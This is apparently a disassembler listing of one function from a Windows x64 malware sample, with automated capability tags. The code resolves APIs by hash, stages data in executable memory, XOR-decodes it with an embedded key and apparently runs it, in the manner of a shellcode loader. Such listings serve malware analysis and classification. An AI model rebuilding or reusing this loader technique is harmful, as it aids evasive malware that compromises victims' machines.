Function at 0x140001290
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x28
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x31bf9d95
call fcn.1400011c0
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx - 0x5b]
call rax
lea rcx, str.KERNEL32.DLL
mov rdi, rax
call section..text
mov rcx, rax
mov edx, 0xf760490b
call fcn.1400011c0
mov rdx, rdi
xor ecx, ecx
call rax
lea rcx, str.KERNEL32.DLL
mov rbx, rax
call section..text
mov rcx, rax
mov edx, 0x45d79ef8
call fcn.1400011c0
mov rcx, rbx
call rax
lea rcx, str.KERNEL32.DLL
mov rbp, rax
call section..text
mov rcx, rax
mov edx, 0x7a6e0211
call fcn.1400011c0
mov rdx, rdi
xor ecx, ecx
call rax
mov ecx, eax
movabs rax, 0xc7ce0c7ce0c7ce0d
mul rcx
lea rcx, str.KERNEL32.DLL
mov rdi, rdx
shr rdi, 5
call section..text
mov rcx, rax
mov edx, 0xaa85889
call fcn.1400011c0
lea rcx, [rdi*8]
mov r9d, 0x40
mov qword [rsp + 0x68], rcx
mov rdx, rcx
xor ecx, ecx
mov r8d, 0x3000
call rax
xor ebx, ebx
mov r14, rax
mov esi, ebx
test rdi, rdi
je 0x1400013c8
nop word [rax + rax]
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0xaa85889
call fcn.1400011c0
mov edx, 0x27
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rdx + 0x19]
call rax
mov qword [r14 + rsi*8], rax
inc rsi
cmp rsi, rdi
jb 0x140001390
mov r8, rbx
mov rdx, rbx
test rdi, rdi
je 0x1400015e9
nop word [rax + rax]
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp]
mov byte [rcx], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 1]
mov byte [rcx + 1], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 2]
mov byte [rcx + 2], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 3]
mov byte [rcx + 3], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 4]
mov byte [rcx + 4], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 5]
mov byte [rcx + 5], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 6]
mov byte [rcx + 6], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 7]
mov byte [rcx + 7], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 8]
mov byte [rcx + 8], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 9]
mov byte [rcx + 9], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xa]
mov byte [rcx + 0xa], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xb]
mov byte [rcx + 0xb], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xc]
mov byte [rcx + 0xc], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xd]
mov byte [rcx + 0xd], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xe]
mov byte [rcx + 0xe], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xf]
mov byte [rcx + 0xf], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x10]
mov byte [rcx + 0x10], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x11]
mov byte [rcx + 0x11], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x12]
mov byte [rcx + 0x12], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x13]
mov byte [rcx + 0x13], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x14]
mov byte [rcx + 0x14], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x15]
mov byte [rcx + 0x15], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x16]
mov byte [rcx + 0x16], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x17]
mov byte [rcx + 0x17], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x18]
mov byte [rcx + 0x18], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x19]
mov byte [rcx + 0x19], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x1a]
mov byte [rcx + 0x1a], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x1b]
lea r8, [r8 + 0x29]
mov byte [rcx + 0x1b], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 0xd]
mov byte [rcx + 0x1c], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 0xc]
mov byte [rcx + 0x1d], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 0xb]
mov byte [rcx + 0x1e], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 0xa]
mov byte [rcx + 0x1f], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 9]
mov byte [rcx + 0x20], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 8]
mov byte [rcx + 0x21], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 7]
mov byte [rcx + 0x22], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 6]
mov byte [rcx + 0x23], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 5]
mov byte [rcx + 0x24], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 4]
mov byte [rcx + 0x25], al
mov rcx, qword [r14 + rdx*8]
inc rdx
movzx eax, byte [r8 + rbp - 3]
mov byte [rcx + 0x26], al
cmp rdx, rdi
jb 0x1400013e0
mov r15, rdi
mov qword [rsp + 0x70], r12
lea rcx, str.KERNEL32.DLL
shl r15, 4
mov qword [rsp + 0x20], r13
call section..text
mov rcx, rax
mov edx, 0xaa85889
call fcn.1400011c0
xor ecx, ecx
mov edx, 0x1b58
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call rax
test rbp, rbp
je 0x14000181a
lea rcx, str.NTDLL.DLL
call section..text
mov rcx, rax
mov edx, 0xa63727d3
call fcn.1400011c0
lea rcx, str.KERNEL32.DLL
mov qword [rsp + 0x60], rbx
mov r13, rax
call section..text
mov rcx, rax
mov edx, 0xaa85889
call fcn.1400011c0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r15
xor ecx, ecx
call rax
mov r12, rax
test rax, rax
je 0x14000181a
mov rbp, rax
mov rsi, rbx
test rdi, rdi
je 0x1400016c3
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [r14 + rsi*8]
lea rdx, [rsp + 0x60]
mov r8, rbp
call r13
test eax, eax
jne 0x14000181a
add rbp, 0x10
inc rsi
cmp rsi, rdi
jb 0x1400016a0
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0xaa85889
call fcn.1400011c0
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call rax
mov rsi, rax
test r15, r15
je 0x140001750
sub r12, rax
lea r10, str.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
movabs r9, 0x2b97d835d548d9ad
nop dword [rax + rax]
lea r8, [rbx + rsi]
mov rax, r9
mul rbx
mov rax, rbx
mov rcx, rbx
sub rax, rdx
inc rbx
shr rax, 1
add rax, rdx
shr rax, 0xc
imul rax, rax, 0x1b58
sub rcx, rax
movzx eax, byte [rcx + r10]
xor al, byte [r8 + r12]
mov byte [r8], al
cmp rbx, r15
jb 0x140001710
nop dword [rax + rax]
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0xb54dc38d
call fcn.1400011c0
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
call rax
lea rcx, str.KERNEL32.DLL
mov rbx, rax
call section..text
mov rcx, rax
mov edx, 0xad0333fb
call fcn.1400011c0
xor ecx, ecx
call rax
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x1474f5ca
call fcn.1400011c0
mov rcx, rbx
call rax
test rdi, rdi
je 0x1400017ef
nop word [rax + rax]
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0xc66e0fa0
call fcn.1400011c0
mov edx, 0x27
mov r8d, 0x8000
mov rcx, r14
call rax
sub rdi, 1
jne 0x1400017c0
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0xc66e0fa0
call fcn.1400011c0
mov rdx, qword [rsp + 0x68]
mov r8d, 0x8000
mov rcx, r14
call rax
jmp 0x14000181c
xor eax, eax
mov r13, qword [rsp + 0x20]
mov r12, qword [rsp + 0x70]
add rsp, 0x28
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret